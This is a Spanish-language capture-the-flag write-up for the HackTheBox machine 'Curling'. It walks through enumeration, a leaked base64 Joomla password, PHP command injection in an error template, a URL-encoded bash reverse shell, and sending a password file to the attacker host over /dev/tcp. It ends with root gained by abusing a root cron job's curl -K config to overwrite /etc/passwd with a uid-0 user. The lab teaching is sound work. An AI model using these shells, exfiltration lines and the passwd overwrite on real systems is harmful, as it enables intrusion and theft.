Post

HackTheBox - Curling

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: Information Leakage, Crontab Exploitation (curl)

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos abiertos

  • nmap -p<Puertos> -sCV <IP> -oN versiones

c. Al inspeccionar el sitio web encontramos un nombre de usuario y un fichero secret

  • La cadena que obtenemos al visitar el fichero ‘secret.txt’ está encodeada en base64

    1
    2
    
    echo -n 'Q3VybGluZzIwMTgh' | base64 -d
      Curling2018!
    
  • Nos autenticamos en el panel de administrador de Joomla (/administrator)

d. Para ejecutar comandos, inyectamos una sentencia php en un template de error

  • Para ejecutar comandos vamos a la ruta http://<IP Curling>/templates/protostar/error.php?cmd=[Comando]. Ahora, entablamos una reverse shell
1
2
3
4
Payload = bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/<tun0 IP>/<Puerto>%200%3E%261%22
----------------------------------------------------------------------------------------
❯ nc -lvnp 443
www-data@curling:/var/www/html/templates/protostar$

Escalada de Privilegios 💹

a. El usuario floris tiene un fichero password_backup el cual transferiremos a nuestra máquina

1
2
3
❯ nc -lvnp 4444 > password_backup
---------------------------------------------------------------------------------
www-data@curling:/home/floris$ cat < password_backup > /dev/tcp/10.10.14.18/4444
  • El contenido del archivo lo pasamos por CyberChef. Veremos una posible credencial

b. Veremos si la cadena anterior puede ser la contraseña del usuario floris

1
2
3
❯ ssh floris@10.10.10.150
floris@10.10.10.150's password: 5d<wdCbdZu)|hChXll
floris@curling:~$ 

c. Subimos pspy para saber si existen tareas cron ejecutándose en el sistema

1
2
3
4
floris@curling:~$ ./pspy64 

<SNIP>
2023/09/13 23:07:01 CMD: UID=0     PID=2220   | /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report
  • Puntos Principales:
    • El usuario root ejecuta esta tarea.
    • La opción -K en curl sirve para indicar un archivo de configuración en el que podemo indicar un url de la cual conseguirá la información y donde queremos que la guarde

d. Con lo anterior en mente, podemos indicar que queremos sobreescribir el fichero /etc/passwd, para añadir un nuevo usuario con lo mismo privilegios que root

  • Copiamos el fichero ‘/etc/passwd’ de la Máquina Curling.
  • Con openssl generamos una contraseña válida (En el ejemplo la contraseña es hola)
  • Agregamos el usuario ‘evil’ al final del archivo ‘/etc/passwd’ copiado y montamos un servidor http con python

    1
    2
    3
    4
    
    tail -n 1 passwd
      evil:$1$4NQ2IHzW$TtycSVMvW6nOiprAtnxZK/:0:0::/home:/bin/bash
      -------------------------------------------------------------
      ❯ python -m http.server 80
    
  • Modificamos el fichero input

    1
    2
    3
    
      floris@curling:~/admin-area$ cat input 
      url = "http://<tun0 IP>/passwd"
      output = "/etc/passwd"
    

c. El usuario evil será válido en el sistema y si nos convertirmos en él, tendremos permisos como root

1
2
3
4
5
floris@curling:~/admin-area$ tail -n 1 /etc/passwd
evil:$1$4NQ2IHzW$TtycSVMvW6nOiprAtnxZK/:0:0::/home:/bin/bash
floris@curling:~/admin-area$ su evil
Password: hola
root@curling:~/floris/admin-area#
This post is licensed under CC BY 4.0 by the author.